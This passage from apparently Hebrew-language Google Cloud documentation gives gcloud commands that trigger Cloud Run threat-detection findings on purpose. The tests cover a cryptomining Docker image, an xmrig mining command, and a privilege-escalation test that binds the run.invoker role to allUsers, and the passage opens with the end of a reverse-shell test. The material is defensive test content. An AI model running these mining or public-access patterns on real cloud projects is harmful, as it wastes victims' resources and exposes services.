gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר ממצא של Reverse Shell.
הרצה: קובץ אימג' של Docker לכריית מטבע וירטואלי
כדי להפעיל הרצה: ממצא של קובץ אימג' של Docker לכריית מטבע וירטואלי, צריך לפרוס קונטיינר באמצעות שם של קובץ אימג' של Docker שמשויך לתוכנה לכריית מטבע וירטואלי.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image docker.io/security-test-DO-NOT-USE/xmrig:latest \
--command sh \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
תהליך הבדיקה הזה יוצר ממצא מסוג Execution: Cryptomining Docker Image. שימו לב שהפריסה של העבודה תיכשל כי התמונה לא קיימת, אבל הממצא עדיין ייווצר.
השפעה: פקודות לכריית מטבע וירטואלי
כדי להפעיל ממצא מסוג Impact: Cryptomining Commands, מריצים פקודה עם ארגומנטים שדומים לתוכנות ידועות לכריית מטבעות קריפטוגרפיים.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command xmrig \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר ממצא Impact: Cryptomining Commands.
העלאת רמת הרשאה: חשבון השירות שמוגדר כברירת מחדל של Compute Engine SetIAMPolicy
כדי להפעיל ממצא של Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy, מריצים פקודה שמשתמשת בחשבון השירות שמוגדר כברירת מחדל ב-Compute Engine כדי להגדיר את מדיניות ה-IAM של שירות Cloud Run.
יוצרים ומריצים את משימת Cloud Run:
JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
--command gcloud \
--args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
הליך הבדיקה הזה יוצר Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy
ממצא.